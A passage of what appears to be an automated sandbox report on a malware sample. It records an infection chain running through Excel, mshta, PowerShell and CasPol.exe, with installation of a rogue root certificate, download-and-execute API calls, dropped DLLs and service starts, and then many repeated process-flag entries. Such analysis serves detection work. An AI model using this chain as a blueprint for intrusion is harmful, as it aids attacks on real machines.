                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044DB70 push eax; ret 28_2_0044DB84
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044DB70 push eax; ret 28_2_0044DBAC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00451D54 push eax; ret 28_2_00451D61
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044B090 push eax; ret 29_2_0044B0A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044B090 push eax; ret 29_2_0044B0CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00451D34 push eax; ret 29_2_00451D41
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00444E71 push ecx; ret 29_2_00444E81
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00414060 push eax; ret 30_2_00414074
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00414060 push eax; ret 30_2_0041409C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00414039 push ecx; ret 30_2_00414049
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004164EB push 0000006Ah; retf 30_2_004165C4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00416553 push 0000006Ah; retf 30_2_004165C4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00416555 push 0000006Ah; retf 30_2_004165C4

                Persistence and Installation Behavior

                barindex
                Installs new ROOT certificates
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00406EEB ShellExecuteW,URLDownloadToFileW,26_2_00406EEB
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,26_2_0041AADB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,26_2_0041CBE1
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
